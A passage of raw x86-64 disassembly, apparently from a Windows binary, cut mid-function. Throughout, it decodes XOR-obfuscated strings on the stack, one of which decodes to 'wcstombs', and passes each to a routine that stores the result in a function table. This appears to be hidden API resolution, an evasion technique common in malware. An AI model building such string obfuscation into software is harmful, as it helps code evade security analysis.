movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0xa050], xmm2
lea rcx, [rbp + 0x1850]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
lea r8, [rbp + 0x1850]
mov rdx, qword [rsp + 0x30]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x110], rax
movabs rax, 0x10ccabcb205c6563
mov qword [rbp + 0xa040], rax
movabs rcx, 0x77068a0c80c84e55
mov qword [rbp + 0xa048], rcx
xorps xmm2, xmm2
movabs rax, 0x63aec6a4542f0614
mov qword [rbp + 0xa060], rax
mov qword [rbp + 0xa068], rcx
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0xa040]
pxor xmm1, xmmword [rbp + 0xa060]
pxor xmm2, xmm0
movaps xmmword [rbp + 0x1500], xmm1
movaps xmmword [rbp + 0x1510], xmm2
movaps xmm0, xmmword [rbp + 0x3f0]
movaps xmmword [rbp + 0x1520], xmm0
movaps xmm1, xmmword [rbp + 0x400]
movaps xmmword [rbp + 0x1530], xmm1
movaps xmm0, xmmword [rbp + 0x410]
movaps xmmword [rbp + 0x1540], xmm0
movaps xmm1, xmmword [rbp + 0x420]
movaps xmmword [rbp + 0x1550], xmm1
movaps xmm0, xmmword [rbp + 0x430]
movaps xmmword [rbp + 0x1560], xmm0
movaps xmm1, xmmword [rbp + 0x440]
movaps xmmword [rbp + 0x1570], xmm1
movaps xmm0, xmmword [rbp + 0x450]
movaps xmmword [rbp + 0x1580], xmm0
lea r8, [rbp + 0x1500]
mov rdx, qword [rsp + 0x30]
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x118], rax
movabs rax, 0x143a0cb3a4be5ab9
mov qword [rbp + 0xa040], rax
movabs rax, 0x644ed68878657a92
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x605465c1d4c929cf
mov qword [rbp + 0xa060], rax
movabs rax, 0x644ed688781625f4
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa060]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0xa050], xmm2
lea rcx, [rbp + 0x1c80]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea r8, [rbp + 0x1c80]
mov rdx, rsi
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x120], rax
movabs rax, 0x144bf2130e018f80
mov qword [rbp + 0xa040], rax
movabs rax, 0x708697198f96f39
mov qword [rbp + 0xa048], rax
movabs rax, 0x1fffffffedf41b5b
mov qword [rbp + 0xa050], rax
movabs rcx, 0xe00000000fe7431c
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7b0897676f64fdc3
mov qword [rbp + 0xa080], rax
movabs rax, 0x62640b18ec981f54
mov qword [rbp + 0xa088], rax
movabs rax, 0x1fffffffedf4581f
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa090]
pxor xmm1, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x4840]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140037370
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
lea r8, [rbp + 0x4840]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x128], rax
movabs rax, 0x18ab0771d0961bfa
mov qword [rbp + 0xa040], rax
movabs rax, 0x3a4a8c844f6b77b7
mov qword [rbp + 0xa048], rax
movabs rsi, 0x1fffffffe0000000
mov qword [rbp + 0xa050], rsi
movabs rcx, 0xe00000002001b320
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x51ef6205b1f369b9
mov qword [rbp + 0xa080], rax
movabs rax, 0x5425e5f02c0e24f5
mov qword [rbp + 0xa088], rax
mov qword [rbp + 0xa090], rsi
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa090]
pxor xmm1, xmmword [rbp + 0xa050]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x90], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x36b0]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400374d0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x36b0]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x130], rax
movabs rax, 0x15ca54da82754d16
mov qword [rbp + 0xa040], rax
movabs rax, 0x60285b2a27f4e74b
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x7a8724bbcf012845
mov qword [rbp + 0xa060], rax
movabs rax, 0x60285b2a27f4822f
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa060]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0xa050], xmm1
lea rcx, [rbp + 0x18f0]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
lea r8, [rbp + 0x18f0]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x138], rax
movabs rax, 0x18e9d66c4fa7cbd4
mov qword [rbp + 0xa040], rax
movabs rax, 0x6338bde2f6ead212
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x77afb3182ec2b997
mov qword [rbp + 0xa060], rax
movabs rax, 0x6338bde2f6aba67c
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0xa050], xmm1
lea rcx, [rbp + 0x1d40]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea r8, [rbp + 0x1d40]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x140], rax
movabs rax, 0xececa775765845f
mov qword [rbp + 0xa040], rax
movabs rax, 0x7fdd28a81c4a5343
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x6c81be143209e10c
mov qword [rbp + 0xa060], rax
movabs rax, 0x7fdd28a868293629
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0xa050], xmm1
lea rcx, [rbp + 0x2060]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x2060]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x148], rax
movabs rax, 0xe733a7ed0043220
mov qword [rbp + 0xa040], rax
movabs rax, 0x475efb49656b963b
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x4d07421b84705773
mov qword [rbp + 0xa060], rax
movabs rax, 0x475efb491704fa54
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0xa050], xmm1
lea rcx, [rbp + 0x2130]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x2130]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x150], rax
movabs rax, 0xb9c1a64d18bb209
mov qword [rbp + 0xa040], rax
movabs rax, 0x73081e32931707c9
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x67f3590f93ffd75a
mov qword [rbp + 0xa060], rax
movabs rax, 0x73081e32931775a6
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa060]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0xa050], xmm1
lea rcx, [rbp + 0x19a0]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
lea r8, [rbp + 0x19a0]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x158], rax
movabs rax, 0x136006b319fd627a
mov qword [rbp + 0xa040], rax
movabs rax, 0x4ffa966c8c6fb28f
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x52147ed64d890729
mov qword [rbp + 0xa060], rax
movabs rax, 0x4ffa966ce208dbe3
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa060]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0xa050], xmm1
lea rcx, [rbp + 0x2200]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x2200]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x160], rax
movabs rax, 0x1b24d2156d382578
mov qword [rbp + 0xa040], rax
movabs rax, 0x32c2bf2014a0b0b1
mov qword [rbp + 0xa048], rax
movabs rax, 0xe3c4bbbb15fb8
mov qword [rbp + 0xa050], rax
movabs rcx, 0x110cf18c986163e1
mov qword [rbp + 0xa058], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x5e50aa70394c403f
mov qword [rbp + 0xa080], rax
movabs rax, 0x5badef547ac5c4c9
mov qword [rbp + 0xa088], rax
movabs rax, 0xe3c0a89822bd6
mov qword [rbp + 0xa090], rax
mov qword [rbp + 0xa098], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0xa080]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xa050]
pxor xmm1, xmmword [rbp + 0xa090]
movdqa xmmword [rbp + 0x80], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x90], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xa0], xmm3
lea rax, [rbp + 0x58e0]
lea rcx, [rbp + 0x70]
mov rdx, r15
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140037c60
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea r8, [rbp + 0x58e0]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x168], rax
movabs rax, 0x1ab2c3eaddabe923
mov qword [rbp + 0xa040], rax
movabs rax, 0x43c230d2bf7d2e6c
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x55c6bb8f89df9166
mov qword [rbp + 0xa060], rax
movabs rax, 0x43c230d2bf3c5a19
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa060]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0xa050], xmm2
lea rcx, [rbp + 0x1e00]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea r8, [rbp + 0x1e00]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x170], rax
movabs rax, 0xac6de8208b18624
mov qword [rbp + 0xa040], rax
movabs rax, 0x64fe96db007c9a0c
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x6889bbf66ddde360
mov qword [rbp + 0xa060], rax
movabs rax, 0x64fe96db741fff66
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa060]
pxor xmm0, xmmword [rbp + 0xa040]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0xa050], xmm2
lea rcx, [rbp + 0x22d0]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x22d0]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x178], rax
movabs rax, 0x21546c79de1fe1f
mov qword [rbp + 0xa040], rax
movabs rcx, 0x5ce6a61e2550a6a1
mov qword [rbp + 0xa048], rcx
xorps xmm2, xmm2
movabs rax, 0x415123b3f88d9b5b
mov qword [rbp + 0xa060], rax
mov qword [rbp + 0xa068], rcx
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0xa040]
pxor xmm1, xmmword [rbp + 0xa060]
pxor xmm2, xmm0
movaps xmmword [rbp + 0x1590], xmm1
movaps xmmword [rbp + 0x15a0], xmm2
movaps xmm0, xmmword [rbp + 0x3f0]
movaps xmmword [rbp + 0x15b0], xmm0
movaps xmm1, xmmword [rbp + 0x400]
movaps xmmword [rbp + 0x15c0], xmm1
movaps xmm0, xmmword [rbp + 0x410]
movaps xmmword [rbp + 0x15d0], xmm0
movaps xmm1, xmmword [rbp + 0x420]
movaps xmmword [rbp + 0x15e0], xmm1
movaps xmm0, xmmword [rbp + 0x430]
movaps xmmword [rbp + 0x15f0], xmm0
movaps xmm1, xmmword [rbp + 0x440]
movaps xmmword [rbp + 0x1600], xmm1
movaps xmm0, xmmword [rbp + 0x450]
movaps xmmword [rbp + 0x1610], xmm0
lea r8, [rbp + 0x1590]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x180], rax
movabs rax, 0xf9918c0a0e0beb5
mov qword [rbp + 0xa040], rax
movabs rax, 0x70653318f503b067
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x6cf06ea5e494dbf2
mov qword [rbp + 0xa060], rax
movabs rax, 0x7065336b8562f302
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0xa050], xmm2
lea rcx, [rbp + 0x2d80]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
lea r8, [rbp + 0x2d80]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x188], rax
movabs rax, 0xd89907f3554d43d
mov qword [rbp + 0xa040], rax
movabs rax, 0x6fb423dcdd68f78e
mov qword [rbp + 0xa048], rax
xorps xmm2, xmm2
movabs rax, 0x63ecf9137620b17a
mov qword [rbp + 0xa060], rax
movabs rax, 0x6fb423a8be0da5fa
mov qword [rbp + 0xa068], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0xa040]
pxor xmm0, xmmword [rbp + 0xa060]
movdqa xmmword [rbp + 0xa040], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0xa050], xmm2
lea rcx, [rbp + 0x2e60]
lea rax, [rbp + 0xa040]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
